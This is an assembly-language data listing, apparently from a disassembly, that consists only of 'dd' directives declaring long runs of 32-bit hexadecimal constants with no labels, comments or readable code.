		dd 0A836D900h, 0D61D95E8h, 4DF10B5Bh, 1682663Eh, 0C0BE7C9Fh
		dd 144EE526h, 7F10903h,	57480683h, 29226549h, 0E204A326h
		dd 28FB680Ch, 0C819010Ah, 1CA236ACh, 10D8E7DDh,	0EA53786Fh
		dd 344B005Ch, 0BEF61199h, 0F28A07BDh, 70491A3Fh, 819BF91Bh
		dd 0D1EC9A00h, 528478D6h, 68824D95h, 6021A01h, 247ECC0Ch
		dd 801BBC0h, 5816CE2Ah,	102020BFh, 0EBD61A18h, 0D49040C5h
		dd 12002DF7h, 6A5D2A26h, 6247C21Fh, 0A4AEB018h,	18ED841Dh
		dd 1D296AF3h, 4E95C04Ch, 98006358h, 0F9B171AEh,	75571642h
		dd 0B4AA510Bh, 0C78B2E8h, 768EB662h, 0A0302B38h, 9CE8407Ch
		dd 875106DEh, 31F69573h, 97BBCF00h, 7F665348h, 0DD7000D6h
		dd 6A90361Ah, 0B724FAC2h, 0D9627427h, 0B001DFFh, 65910624h
		dd 0D4C7000Eh, 4EAF955Eh, 89EDF98Ah, 24053980h,	1044B0CCh
		dd 1FE4D59Bh, 0A0C707B2h, 3455A1h, 4E793C80h, 4805D3C6h
		dd 4FF930ECh, 98D8AC2Bh, 387999F7h, 0AA85C602h,	4576096Bh
		dd 0EC610994h, 1D0AD414h, 44B90A47h, 2A212CFEh,	12328714h
		dd 6A58308Eh, 0F4CCC86h, 0EBD0A004h, 6BAE2E8Bh,	0AB950F4Eh
		dd 0BFDD72A0h, 3D24A531h, 2476E837h, 78DCF0FAh,	840536F5h
		dd 6FBE7103h, 0B4438C0h, 0F0FD295Dh, 1DD14184h,	2974F4B1h
		dd 2CA0AF50h, 3ACBD0BFh, 1F1665DCh, 0CAE881h, 5C73171h
		dd 0FAB156h, 0E6D11982h, 0E748FE8Eh, 65807812h,	8310840h
		dd 87FA23h, 0DDA79FF1h,	0C7954718h, 753DAF05h, 0D022E3A1h
		dd 708060C4h, 12B6E8CEh, 2B8BC24Ch, 32B5C464h, 0B208D8h
		dd 8C19D210h, 78BAFC5Ch, 9CBF7300h, 0C221B9D6h,	0ECA504A9h
		dd 8A114D1Dh, 20D8E60Ch, 2DF2C1DEh, 8004E248h, 39BEF58Ah
		dd 513FE894h, 0FC0AD897h, 0C42903E0h, 0E9FE5102h, 0E84D86E6h
		dd 0A613718h, 0D60F79AEh, 0C080218Ch, 0EC8635C4h, 5DD828B3h
		dd 0E867824Fh, 8139022h, 7404BCADh, 0F806840Bh,	232210B4h
		dd 0D7F0A77h, 1024B5h, 0A9530FF6h, 3478F5C6h, 12EBC704h
		dd 6F438293h, 41E6170Dh, 19EEFB13h, 23903C0Bh, 174472FCh
		dd 4193F0h, 0A1E1C85Ch,	25E78821h, 0CE0C640h, 0DCA83A6Eh
		dd 0DB61EC12h, 2D3EE940h, 0DC439BE5h, 28480A41h, 839C712Ch
		dd 0A47809AAh, 68B0BAh,	3CB86AE7h, 0B169070Bh, 139CA06Eh
		dd 483C2D40h, 1A8A0087h, 25290CACh, 72006DE9h, 8EE72DF8h
		dd 61E4A178h, 83E1A085h, 483EC57Bh, 0B315D5E4h,	1280FA65h
		dd 907026ACh, 0B017DCDh, 7AA477B1h, 5A5F1820h, 3C2525A0h
		dd 187014AEh, 50CBC8A4h, 2C00BF1Eh, 0F1CA5760h,	0FD2581h
		dd 0C67ECD15h, 0FB21A5B3h, 0FEDB1B07h, 3FF05D53h, 0EBBB19h
		dd 0A8D473AAh, 0F2B34C93h, 0F41D6700h, 8DCF6686h, 0A0CC4BD5h
		dd 4B006FEDh, 0C50F7DB1h, 0A5FE34h, 823AD13Fh, 0AAEE9DBBh
		dd 0FCBC6400h, 0A3696AD9h, 0F3220050h, 0C3C5D146h, 8000766Eh
		dd 107CB0DEh, 0E68B2CC8h, 77FD01E9h, 0B706676Ah, 2918C855h
		dd 8A0A4800h, 9922ED6Eh, 0A56A0010h, 0D79D0C40h, 1400B303h
		dd 292B2405h, 0F78808h,	64393D41h, 0F5D30C1Fh, 2CB3EC00h
		dd 0C5660272h, 2ED53F01h, 8283929Dh, 23C7B95Dh,	4BAC4840h
		dd 8C113E00h, 9A98F9ADh, 457749h, 0C2B45FEFh, 0E76C3508h
		dd 0D4EE3100h, 0AB52A8B9h, 227F88h, 8179D982h, 92608DB8h
		dd 0B954F200h, 0BEBCA347h, 9A73B0Ah, 2B638981h,	0C498111Bh
		dd 0C592F3Fh, 45830FACh, 0D571C335h, 0A3E3B038h, 28FAD9h
		dd 5F620F89h, 0F397B453h, 1BA87F0Ch, 617C12h, 7C704C90h
		dd 7B85A659h, 506B100h,	0AC64267h, 0D7B71C38h, 68A540C2h
		dd 0E4CE2793h, 0CF1829F0h, 0AE589CA7h, 82920020h, 0FB33DEA1h
		dd 9F0058FFh, 8E66C043h, 5DD0B1h, 67BA6432h, 84A5A85h
		dd 3BD33F00h, 1BB6940h,	2EBD0013h, 0EE24EC9Fh, 0F400FAA6h
		dd 44470AB7h, 3868B0B3h, 0A180AD76h, 583BBC6Fh,	4607F22Fh
		dd 42068122h, 0DB0CE940h, 0C1EF0037h, 0CCCE40D2h, 39FEADBEh
		dd 0CF83E500h, 26215B4Eh, 1EE60061h, 6F8895CEh,	360012FEh
		dd 40889B0h, 2A5616h, 0BA6ABD20h, 9352E6DAh, 0CA5B3A00h
		dd 0B2DC5408h, 5D20161h, 8A65D516h, 3FAF2070h, 0A0434F24h
		dd 386FE380h, 557CEE0h,	0C49723AFh, 0D5888001h,	741F9258h
		dd 0E1413482h, 8D0D3E20h, 736A5C4h, 28EA4A1Dh, 1849B0D7h
		dd 9607ED8Bh, 61D4B74Dh, 0DBDECC00h, 0EFC80FACh, 0A0E7D711h
		dd 1FA00EC7h, 1367C4BAh, 0F13AA400h, 0E3184801h, 6C8B00A2h
		dd 94520FB2h, 0D600DAC1h, 0FE158FD9h, 94A4689h,	0FB2BCA3Dh
		dd 0D13E58A3h, 307396F1h, 0B4004580h, 94CA5D31h, 78BA99Ah
		dd 0E8334DC7h, 5A83D005h, 5401818Ch, 2D930D57h,	0B2D01E1Bh
		dd 5985C08h, 607ED719h,	0F03957h, 3C200B56h, 28DE2Ah, 8D300CECh
		dd 5A2BD43h, 7C78D1FCh,	520D58C0h, 1FF8B1C3h, 40221F54h
		dd 0A072EC16h, 28017EE6h, 9BCE7A1Bh, 89CCB292h,	789100ABh
		dd 725EEB4h, 3E0162ADh,	751CEBC8h, 6A96BBh, 21E4DE21h
		dd 6F037FAEh, 913933D0h, 80D8C856h, 3D5E62Dh, 0C6656459h
		dd 75AB67D7h, 0AFC191E8h, 39DC000h, 988A5C5Fh, 5940062h
		dd 0D211BFBCh, 0DE3BB507h, 7ED58388h, 0D091A540h, 0E2FD0DCDh
		dd 11173864h, 8197000h,	68CBEA87h, 390058B2h, 0E89AECC7h
		dd 21076h, 0D455A631h, 5166B2E5h, 1B8C8000h, 6C990123h
		dd 435B0074h, 0B3A82FFh, 6007AE9h, 85489621h, 0F6F7E414h
		dd 5157008Dh, 398B78A1h, 0F0952373h, 13BF002Bh,	2EC17FE3h
		dd 88F02277h, 0F0661200h, 1BD35EFBh, 177DECh, 166F7A93h
		dd 890EE1E9h, 1103E6F4h, 4E81CD6Ah, 0E2EAFB05h,	40ECEA74h
		dd 18DAD4h, 0CAE19572h,	0C55841A9h, 3008675h, 40C98F09h
		dd 3729DD4h, 4754F57h, 1003DA9Ch, 0E88BB2B4h, 0B519D023h
		dd 798539CFh, 52576100h, 9CF65071h, 55B24000h, 456D7AADh
		dd 0A37700C3h, 0DA6C8863h, 0B303A1F9h, 6124F10h, 8690F02Ah
		dd 6AD50796h, 0A06E01E9h, 0C6663F48h, 82495F00h, 700CFD51h
		dd 0AAF50075h, 0C48E970Eh, 8F00A944h, 496AD66Eh, 0E2ED24B2h
		dd 0AD31C0A5h, 0DDF3206Ch, 9FD4BE24h, 802E0038h, 21A21397h
		dd 20EB0014h, 0C0CCE237h, 0E198392Bh, 0ED29000h, 0AA38CA8Eh
		dd 0B2410094h, 0CD995E0Ah, 0F900E68Bh, 0B3886E68h, 0F2B146h
		dd 0D15DCACh, 0D05F2127h, 25DF7600h, 0A2931FA3h, 3AFB0569h
		dd 8003A1F8h, 6FA5CB7Fh, 48B0B44Ch, 80D63A21h, 705C6BAEh
		dd 4812D58Bh, 5F3B1F2Bh, 0CFCB1700h, 0F8F2739Dh, 0B8440F00h
		dd 0AC267482h, 9FD0716h, 0B032F914h, 0A5A3E0EFh, 0CEB4700h
		dd 5FE46045h, 0A9D300E8h, 39F526CEh, 0A6009B3Bh, 0DE7A2B18h
		dd 0F8A0EFh, 2E7202E0h,	0C8C6F170h, 0EB38AB01h,	0C2DBB4D3h
		dd 718B66C0h, 396C0087h, 78B50130h, 19004021h, 0A0369142h
		dd 0DC6662h, 3364AFB3h,	3F3C327Fh, 537CBE00h, 3A2D656Fh
		dd 0FB5A5808h, 0A87EB800h, 8B8E9CBCh, 92223E07h, 37B03D50h
		dd 55B1B09h, 5C710E1Eh,	0AA80FB6Ch, 234E34h, 0D6794CE0h
		dd 9291D112h, 9A1F5B1Dh, 6BA86840h, 6C4506h, 2D64140h
		dd 5DA5F4DBh, 4473FA06h, 5CFA2665h, 8000C08Fh, 0DA28BEEDh
		dd 4B057BEEh, 9A33B868h, 31AE2880h, 5A7C6Fh, 17F9944Fh
		dd 0A482597Ah
		dd 502C2E24h, 7D95A501h, 0E9E4EE9Bh, 0CAA1B04h,	0A3D11892h
		dd 8CF4E08Fh, 3A8B11C0h, 1FF381h, 0FB856E0Fh, 0F1778752h
		dd 0AD0D6B1Eh, 0B9629900h, 0A24FAFh, 1B5F7E43h,	63D7E706h
		dd 0D12401Eh, 3427E880h, 508015h, 7A5B0F32h, 0DDD81054h
		dd 807E4738h, 0AA02E499h, 0A0A5EC15h, 1DD36C90h, 989BF70Bh
		dd 1C3AB957h, 969A409h,	0CBBE805Eh, 7989FF0Dh, 275A01D4h
		dd 0C1C0E4F2h, 0E38D04Eh, 0CE84C600h, 0E54A12ACh, 94C405D1h
		dd 7EB0AF2h, 20D2F80Ch,	0EE91D08Bh, 4E4FE00h, 58E688B5h
		dd 87F40066h, 0EB56F26Ah, 24000E37h, 0E9094F7Ch, 71D0BCh
		dd 459E4C11h, 808CCA94h, 430069F6h, 0D8C01AAFh,	70EB637h
		dd 0B107A27Ah, 30659794h, 16CFD3C3h, 8A981A00h,	0B8D4B424h
		dd 0DE6A5018h, 0DB0A16E5h, 6F5F039Ch, 74D85029h, 1F00896Ch
		dd 3B58F9B9h, 1F40177Eh, 0C0ED67E8h, 1E98E3CBh,	3404CE97h
		dd 628D2074h, 0EC11E987h, 3DF0E47Bh, 0B1C7DA9h,	0F1087A02h
		dd 0A5EB9D80h, 0B00138Ch, 74553B43h, 540DC4A2h,	31C091h
		dd 6C82AC7Dh, 618C09A3h, 8A9E3E0Fh, 73201932h, 0B885BA80h
		dd 0EBB3BA99h, 0CC6F8E03h, 0F31571h, 4052B59Ch,	12A0B0A7h
		dd 3A649A7Fh, 7B60C269h, 6D3408ACh, 340D6033h, 0D5C42180h
		dd 0DA4003D4h, 1BB5B23Bh, 0AAE837B3h, 5600AC93h, 0EB4B0C5Bh
		dd 12A6691Fh, 1A3E828h,	634C074h, 0D68A4D1h, 9A848E00h
		dd 736EEDCBh, 0E708CADFh, 52A500FCh, 1E6D8EF0h,	923B0401h
		dd 23606F6Ah, 24D3E7F8h, 8E4052BCh, 1E81B312h, 40E972D5h
		dd 9F693184h, 139A3900h, 2D6E57C9h, 605AE8D2h, 15963092h
		dd 0D600259Eh, 0C51BCECFh, 9DB8DAAh, 2F090C1Ch,	568EB83h
		dd 40A4D4C0h, 4D62C4A7h, 316318A2h, 0C80A2E18h,	8ED238h
		dd 67DAEF5h, 0B6DE1C7Ah, 0B4F2F00Eh, 3893E22Eh,	0D2804880h
		dd 0BD030646h, 50AD130Ch, 0CAFB2100h, 6B51CC1h,	0BF94283Ch
		dd 1998CFB4h, 80D9F804h, 0A4656718h, 0B1E2981Dh, 0E90400F9h
		dd 6DEE0F46h, 0D72D0F0Dh, 9E20972Ch, 65CABECCh,	0CFA03Ch
		dd 769126C7h, 9AC3B0h, 3B7C5DC6h, 0D0F31D36h, 2485C404h
		dd 788421C8h, 40CAA600h, 3069F7Fh, 7922E871h, 83A85BF9h
		dd 0B400DDB8h, 7C12FD6h, 165FE9h, 0E057F5CFh, 0C7E5841Ch
		dd 0DC8F04ADh, 2DF2C023h, 34FA961h, 9C0E2774h, 2900D5A8h
		dd 0CEF0B4A4h, 37E5CD6h, 36DE3AC5h, 0FAF0F14Fh,	5400F4E0h
		dd 0A2E10957h, 0C038F6E2h, 0F9DBD338h, 0B4035230h, 5B3DBFFCh
		dd 0AE40BF8Bh, 587ABA41h, 8403F3EDh, 0C51E8C6Eh, 0A0459100h
		dd 0EECA90B9h, 0EA710374h, 0C673E41Fh, 30052000h, 0E0BF77EFh
		dd 74EC0E48h, 1A844906h, 28D000DCh, 63D3C5h, 5892C4C3h
		dd 0DE755CF6h, 50619113h, 0D624B900h, 1E7265E5h, 0A093ED9h
		dd 8488EC5Bh, 0C01E4CC5h, 53ED8C36h, 0C10F2700h, 0D319DE51h
		dd 0E9663161h, 0DA9C42A9h, 0B65A4A0h, 7E00B641h, 11CC736Bh
		dd 2DD77h, 9B5E7C45h, 0FB837FAEh, 2A983901h, 0C91F0F97h
		dd 0A8A39450h, 0C7991E14h, 0D0548FA1h, 0EA60342Eh, 0D2F0F91Ah
		dd 845C5128h, 8E8E7D21h, 0BF61EDB6h, 8E86E30h, 0B2D94040h
		dd 3BCD0300h, 0D46C6BB4h, 0D57F0C48h, 0D6415D5Bh, 0CF324B00h
		dd 0CD33A4C4h, 66091E2Ch, 0BF5080F2h, 0A3E645F3h, 91686D03h
		dd 0E2A8B6h, 0C1981EE8h, 5B2BD019h, 26004EF4h, 6272AC95h
		dd 4B02EAh, 4F7EAB01h, 389FF792h, 0AAB76B00h, 0FC1D96CDh
		dd 0A0B8606Ch, 7F20369Bh, 0B1545100h, 7117EE26h, 0E3AC2AD5h
		dd 607805C4h, 0FB862E7Ch, 9EED9280h, 215C67BAh,	0A8925024h
		dd 0A30E607Ah, 0FDB313BCh, 1E7C508h, 0BF9165EDh, 0E29DD0C9h
		dd 4166DB00h, 54C115C4h, 55B73CAh, 0D1CF7DE6h, 0A8E85CF0h
		dd 320700D4h, 3C4B39FAh, 0AA00A828h, 676B7552h,	0F448C6h
		dd 5B374B5h, 5AC315F3h,	56BF5406h, 0DC01BFBh, 19ACC0F1h
		dd 0A9344160h, 0E5B8503Fh, 0BB0011A7h, 1D80585Ch, 5CFD4773h
		dd 21606C13h, 0BF8CE02Ah, 0D61E34F0h, 471826C2h, 86400F49h
		dd 818CF702h, 19257058h, 1F8810DAh, 0B5EB038Dh,	6A16B350h
		dd 5F0934C8h, 7EF05718h, 376B7BA8h, 70C0689Fh, 8B531E23h
		dd 0EC99E705h, 0B430BC01h, 10F593BDh, 0C4A66871h, 6E00E637h
		dd 9780925Dh, 311B741Dh, 5E5613C0h, 2061157h, 0F428C1A9h
		dd 0D140E340h, 2CA0ADF5h, 0E4389258h, 91A7217Ah, 0C179002Ah
		dd 0D7D3E9Fh, 616307AAh, 0E01DEF4Fh, 7F32EA6Ch,	0E5818491h
		dd 18BED2EDh, 84498021h, 0A271000h, 649201CDh, 0D69B2CD8h
		dd 0C2068AE9h, 6600F42Bh, 80F3BEEAh, 850824A2h,	6BC00E8h
		dd 279B8135h, 0A31D197Eh, 640C136Eh, 0FA01Fh, 0F9323D1Eh
		dd 8096F837h, 0C295690Ch, 0A41651D1h, 0EE190050h, 5497BF06h
		dd 0E50EA6A9h, 0A01FAD3Eh, 7D5D4512h, 881600C1h, 0C9F0A0BCh
		dd 0F5006176h, 68F9E889h, 0EDD58Ch, 8825C659h, 0B8B1B33h
		dd 808E623Fh, 2A5663C7h, 0EDE7F565h, 0CB0CECh, 0ADC4FC20h
		dd 140F4F42h, 60C7B10Ch, 0B5711Ch, 1E38B73Fh, 1978EF52h
		dd 0DFE06F8h, 9520A560h, 0EF40DFC9h, 51371180h,	6FF092E5h
		dd 4060B8D0h, 6E00C010h, 91562CE3h, 0EF4CFFh, 683C6AF6h
		dd 0F03EDA65h, 9AD4CCEDh, 92D33D0Ah, 46563097h,	13E800AEh
		dd 0F0F77B9Ah, 5FC100C2h, 0BB0742ABh, 0F800B11Eh, 7D5A4A0Bh
		dd 0B0A1C4BAh, 9021A04Bh, 0F81767B2h, 40CA27BCh, 4D3E861Ch
		dd 4572CD00h, 0A54334CBh, 7A3F0009h, 8DB4D080h,	8EFD251Eh
		dd 276AB238h, 23DF9161h, 302F99D2h, 3C21E808h, 162E6EDBh
		dd 1A283A92h, 0E5418A00h, 2223CA9Eh, 1E490302h,	151DB097h
		dd 0B300887Eh, 823B2871h, 3AD4B21Fh, 862887E4h,	201200C4h
		dd 0FECE7094h, 5D3B679Ch, 9A118006h, 0EA8B3C07h, 0E54618FAh
		dd 412810Ah, 3449F18h, 395C68h,	1AA3A0C9h, 0DCDF01D5h
		dd 1466F758h, 13406EEAh, 720571AAh, 404487BAh, 0FB001891h
		dd 196A7098h, 0D64FD82Eh, 0D5158602h, 520466Fh,	23E08A43h
		dd 710482E8h, 8617D4A0h, 0B3014DEDh, 0A4E66637h, 0E870F326h
		dd 6721C020h, 28AE4E15h, 0B0D9ED00h, 5148E70Ah,	0FD19401Ah
		dd 433CD20Eh, 0DA300B5h, 1A68FD8h, 0FC55B9F1h, 8ACB5088h
		dd 0A8B1EBD0h, 9C72E760h, 6862523Bh, 90BD2Ah, 0D2718894h
		dd 56894ACDh, 0AEF85B09h, 53040030h, 0E4707493h, 458892B4h
		dd 0B2C8E328h, 491FE81h, 6066C700h, 864AE891h, 1E05A20h
		dd 9D6EDF05h, 40F0C118h, 9CFABF92h, 7BF9B00Fh, 5104820Dh
		dd 9C84A841h, 4080DF11h, 0DE30EE4Eh, 2322D443h,	4D0CF001h
		dd 255A2A44h, 0C0C7D8DCh, 1AE3DDC0h, 0C9151736h, 0ED0343Ch
		dd 730AEE77h, 99581C30h, 414A3C3Fh, 0C56005F5h,	40762B12h
		dd 0BA4D9C40h, 8F437E30h, 0FC00B922h, 40734D28h, 2C43956h
		dd 29EF8544h, 59C01D4Ah, 0EEC0F12Eh, 0D1DBB366h, 35103836h
		dd 0C36012h, 6455BC20h,	0CB0A5319h, 0E83EE625h,	34024C10h
		dd 0CA1FA29Dh, 0BC02FF62h, 811882F0h, 916A0865h, 0CD6644D8h
		dd 514F0021h, 8CB85267h, 0B43D3EC5h, 0ED5D8141h, 6020F05Ch
		dd 198080BDh, 0A5DED1FBh, 94A84311h, 1600DB0Bh,	9AC77A0Eh
		dd 1EEC2635h, 5EAAFBBFh, 5D87C2B5h, 0D4B0DE18h,	92117CEBh
		dd 5284D637h, 73CD002Eh, 70E2FC7Ch, 2D320098h, 50779930h
		dd 0C498190Ah, 96FBCF00h, 0C31DF969h, 50BC7290h, 1ABA8C38h
		dd 0D9191F59h, 0D8878404h
		dd 6E7DD044h, 4AF94B10h, 5820D5C9h, 216E4D52h, 1E5C9700h
		dd 81B04485h, 3CCB055Eh, 49BB7F5h, 0D81FDA84h, 4C9B160Ch
		dd 0A1726000h, 8687EA3Bh, 0E17EC20h, 0F4718E85h, 82A07B20h
		dd 100C996h, 0A278A87Eh, 0F6D4EFEh, 0A31C1EBAh,	0CCA515A4h
		dd 0E5080FF0h, 0C7BFF138h, 21388B3h, 915EE300h,	218387Ch
		dd 0B01BB119h, 0A04185BEh, 46463AEh, 0FE651823h, 56853887h
		dd 0DE13CC20h, 0D59339F7h, 0FE9A268Fh, 74BF10C3h, 8C8EFC80h
		dd 82A7BB3Bh, 0AD63BEE8h, 908D40E9h, 7310C0CCh,	51796B9h
		dd 249E0A03h, 0A389AD1Eh, 222100BAh, 0D75596D1h, 0FB00398Eh
		dd 4D482879h, 3E16235h,	0EB683A67h, 3100845Ah, 9B183D10h
		dd 781213Ch, 0F75C61AEh, 24159079h, 750873D1h, 0B29EE8C3h
		dd 0FA30E490h, 5EA0896h, 0E96289B2h, 0EEC500CDh, 0D32DA096h
		dd 525415h, 41A2DE4Fh, 611D6591h, 0BA000F93h, 34453798h
		dd 2EC50370h, 0A232F0CBh, 7FC081B0h, 26AA5103h,	9D14F6h
		dd 470B6278h, 68B437F1h, 0DB152400h, 924D8B1Ah,	29EE0056h
		dd 3B1C7741h, 3000063Fh, 89952585h, 80CF8D65h, 510CEB39h
		dd 0A8E7F102h, 81753093h, 56EDCC08h, 54912900h,	9A1C1604h
		dd 89253048h, 3E3ABDB1h, 0DFAC0E00h, 0D2C55085h, 309C0383h
		dd 5B136047h, 4B302974h, 1BE502Ah, 53DC00C1h, 52625114h
		dd 137957D7h, 0A2000EF8h, 0E4723689h, 1E3DD1h, 3967B44Fh
		dd 27DDBB83h, 6CD8B4A8h, 244D3400h, 549FA4Fh, 0FF590012h
		dd 84CA8E04h, 6700A4EBh, 985625AAh, 206E10h, 69C4D34Fh
		dd 0EC6C30C9h, 9C365000h, 0BE5CE52Bh, 761F0E72h, 0B787AEB3h
		dd 0BFE783BDh, 7025087Ch, 0ED7E33h, 0FA688ACAh,	607476Dh
		dd 4D90801Bh, 3D79AC53h, 0CD804139h, 4E1CB17Fh,	0C40165C6h
		dd 0E6725AD0h, 508028EDh, 16B1AA57h, 8A005688h,	0BFBEF880h
		dd 9707CC6h, 6C350EDFh,	0B3E3AC8Eh, 910007B0h, 0ED69232Eh
		dd 3310AF3h, 33F9AF34h,	2000F4A2h, 0BBB6649Ch, 0C1BC1FA5h
		dd 0E734E430h, 5720805Eh, 93C67B06h, 16033040h,	12BE51C8h
		dd 61C37C70h, 0E8FD733Fh, 0E21ECB6Dh, 0E8F5637Dh, 201DBE65h
		dd 5803DDAh, 0EAEDA4ECh, 0AFEE03B6h, 2B249B36h,	7DCC5110h
		dd 0BCFDC9C0h, 13431B6Dh, 0B8CA10h, 556543DCh, 1875228Ah
		dd 0E14E6F4h, 5932A293h, 30CE5072h, 5E026897h, 47626B6Dh
		dd 41BE387Eh, 3A806538h, 0BA2780C4h, 9A7BB5E9h,	60B5986Fh
		dd 4E1F491Ch, 9400D88Ah, 0C2D4B5EEh, 0A88E5586h, 1D7792E0h
		dd 43CF4C74h, 9DF23C15h, 251A0818h, 0B1B220h, 3E43077h
		dd 964C6366h, 8555F61Fh, 0C9AA2B41h, 5991E720h,	76188089h
		dd 8C8BF47Fh, 60168620h, 0A354788Fh, 0D600E76Eh, 5F7ED843h
		dd 1AAD9DDh, 9DEA3397h,	0EC4AE359h, 1C1D555Ah, 0F2C0FB82h
		dd 99392C5Ch, 7697AFDh,	0BDFABB42h, 80E254A9h, 5591D18Ah
		dd 87B57F00h, 0B6D2E461h, 12941EBFh, 80499FC5h,	8467EBA2h
		dd 2038093h, 1EE2CF13h,	6240A8A7h, 16120078h, 9B8C2E04h
		dd 0F601915Dh, 2142107Fh, 8AC0F97Eh, 0D7F150E9h, 5EF50071h
		dd 132CA27Ah, 0EFCCB27h, 5C00E0EAh, 0A811F002h,	700B9ACEh
		dd 9D70015h, 28261096h,	0E7747353h, 0FA90AF90h,	296E510Eh
		dd 803BDC36h, 5E48AFD9h, 8326A2h, 0FBF21F1Eh, 0AE758010h
		dd 1B013D90h, 384BEF63h, 7AC9227Fh, 0F3D88CCDh,	66AC0735h
		dd 6F650ED6h, 61FC3780h, 0F104951Fh, 6D05AE09h,	339C0ABh
		dd 0B200648Ah, 23372656h, 39C8DDE5h, 1B80B70Fh,	771873DEh
		dd 423F3B89h, 0DAB31F7Bh, 0CF660A80h, 781B99h, 0F5CB18C9h
		dd 124B5425h, 10139B00h, 6F640C01h, 7FEC07C8h, 7002FA75h
		dd 0BB76A5B4h, 59D86C00h, 8F6671E2h, 0C45300BFh, 658A4D89h
		dd 787B078Eh, 855A2A00h, 804710E5h, 189F1E45h, 919C406Dh
		dd 59056148h, 0D56A8100h, 0A53BEC65h, 8B5D0097h, 44CD2BEDh
		dd 97903E8Ah, 9D665A1Eh, 0A8BBBD47h, 0C8AB3DA0h, 3B170E1Dh
		dd 1DE812Ch, 3EE38CBh, 6C8570F5h, 693EED00h, 0ECC07904h
		dd 0AFF0066h, 0A091E240h, 0B97B7DFEh, 9F813300h, 15F5D27Ch
		dd 0BD86001Ah, 384688CAh, 0DE1F1DE3h, 3C0C24Bh,	0C6E4454Dh
		dd 955838F6h, 85FF9380h, 420EB156h, 0B6498702h,	6086F957h
		dd 0F29ED4h, 0AE40A084h, 0B815DB9Ch, 82621A00h,	10FCD9B2h
		dd 0C00D007Dh, 0BBE11639h, 577B7B84h, 4C498C00h, 423F4A31h
		dd 11C90052h, 599320AFh, 19EC95A6h, 4F0FBD7Bh, 8016E3CBh
		dd 3ECC9943h, 0ABF63B64h, 29C17881h, 305EF28Fh,	0E2004A39h
		dd 53DA3033h, 0E60C8808h, 0C7400084h, 0F075E6C1h, 5800708Eh
		dd 90D2EB1Ch, 0B08D5Fh,	0C6B29F30h, 8F43AFEAh, 0E8C94203h
		dd 0B8850495h, 7F0DD7h,	0EEA8F1C5h, 0EC09DBF5h,	48EA1F00h
		dd 5C6E83B5h, 85510005h, 0EB0D8620h, 0CD0160C8h, 0C3084D49h
		dd 7560F399h, 55230039h, 0E6461142h, 96139CDFh,	5300EE6Ah
		dd 79F02BE9h, 1831010Dh, 59C1EFADh, 731BC428h, 3BEDA000h
		dd 9ACAE4C0h, 8C7400CCh, 373E39C5h, 0C4000697h,	7E8AD455h
		dd 12C45C3h, 0C920FD47h, 0D4786DCFh, 100C485Dh,	0B08CFB0Dh
		dd 467603F0h, 5FA85E94h, 7A1539A0h, 0D252A100h,	6DE678F9h
		dd 0E38901D7h, 0F8BBC897h, 0D09CF073h, 4EC18400h, 6C48A3F5h
		dd 8ED20760h, 0E087C9C4h, 0F869953Bh, 2B925Ch, 0D153BD16h
		dd 57E3F90h, 0CEA75FBBh, 0A0B0C068h, 0DB02C637h, 64B3D97Ah
		dd 8888602Ah, 0CF871CC3h, 0C73FC097h, 16F0CA4Eh, 7579B003h
		dd 8865B294h, 12426B1h,	0ED35ACDh, 0F180CC72h, 2514FC75h
		dd 0E0053600h, 1AA5790Ch, 9A6B00BAh, 0DBB76502h, 0B0F6E3ADh
		dd 90C9F200h, 9BD9161Dh, 9FBA1736h, 0F9F50081h,	214395E3h
		dd 0B8FC0D00h, 73059604h, 310E261Eh, 83100044h,	957D4FA4h
		dd 7040600h, 3F25C456h,	6CF3005Ah, 10EDE8B3h, 0C71F9CC1h
		dd 30D4ABD9h, 0AE0A1CACh, 116ADEC0h, 60D8AC59h,	757618FDh
		dd 0D000FA26h, 549AE06Dh, 35011h, 35528BF0h, 4F3DAE2h
		dd 5A2E3300h, 0FC29A737h, 89CB0022h, 416D6C16h,	5E00A2F9h
		dd 0CD7F6201h, 3D988D05h, 6900B53Fh, 0BE83AFF5h, 9D005416h
		dd 0EEBF1EA5h, 39908Ah,	38FD0414h, 953D3A60h, 0D3FCF607h
		dd 77617E0Fh, 7880F4C6h, 635BF858h, 8402D832h, 0E47CC23Ah
		dd 0B51C40D9h, 8810005h, 9A341123h, 2F00D82Bh, 863FF32Dh
		dd 0CBCB48Dh, 0EF55A51Fh, 0C2004390h, 0B222040Dh, 0ADD259h
		dd 9A37069h, 0B8C399F3h, 71FC5700h, 0E02617B5h,	0FF780092h
		dd 0A71CBAFDh, 300C9363h, 0B959A8C4h, 0F19F00BEh, 1801DAE5h
		dd 9A0015C9h, 0C33F5AD3h, 0EE6F97h, 39098746h, 2A36EB33h
		dd 540C48h, 8EA6DAB9h, 0E3567BFh, 0A3919266h, 0BD72CD40h
		dd 0C9026174h, 68FCA06Fh, 17256028h, 1F54F030h,	0C0DD4052h
		dd 0F1A3E605h, 5100E9C6h, 608085D0h, 541F19h, 43D4E15Ch
		dd 4E039964h, 0B0887E04h, 2E810DD3h, 40E870A7h,	0ECDC0025h
		dd 0F381307h, 3A0797ACh, 0F87B4771h, 55CFD290h,	0AB7300FFh
		dd 0F1C3DDE6h, 43000ED4h, 35BC5257h, 5E048h, 4B8946E3h
		dd 5D171C36h, 0E4B9181Ch, 671DCAECh, 623861C0h,	0F0B759h
		dd 0F51764E5h, 6A2CF8BCh, 9ACB4E00h, 0D0A3CD4Ah, 8C6104C2h
		dd 805A5156h, 0C7C69298h, 9F279803h, 8034B079h,	0A47AB4h
		dd 0DF25F66Ch, 0C2B5E02Fh, 5816A200h, 2EDA7B7Fh, 780800C6h
		dd 0EB03AA28h, 20008CF0h
		dd 0C51B13D6h, 0FE88D10Fh, 83E90058h, 6772347Ah, 9A7269DCh
		dd 4C0061E0h, 0A5C321A9h, 31A8E32h, 735BD55Dh, 0FCD8685Eh
		dd 4F03E10Fh, 0FEA42E79h, 42228026h, 6D1007Ah, 4A08B484h
		dd 70039A2h, 0B8A41EAAh, 2A7943FEh, 0D4FD66h, 0F237F759h
		dd 0F3651AB0h, 0CF5B9600h, 0F09B8A53h, 39EF0036h, 0E8E61560h
		dd 3D07D0FEh, 0D1D5A34Ch, 0F0FA17A0h, 0D62B01E0h, 0B7EEEBE9h
		dd 0F150603Ah, 189DB00Eh, 0E0DC0F0Bh, 1A90B5BFh, 0F68FE244h
		dd 0D23F005Fh, 9429FE8Ah, 6A4CCE7Eh, 2C20300h, 0D8137776h
		dd 0FB1F66Fh, 0B32FCA11h, 730925C1h, 0D39D7036h, 3C07172Ch
		dd 0BF27A17Bh, 69E84FF1h, 1F1BF68Dh, 7602EB8h, 303DA6D2h
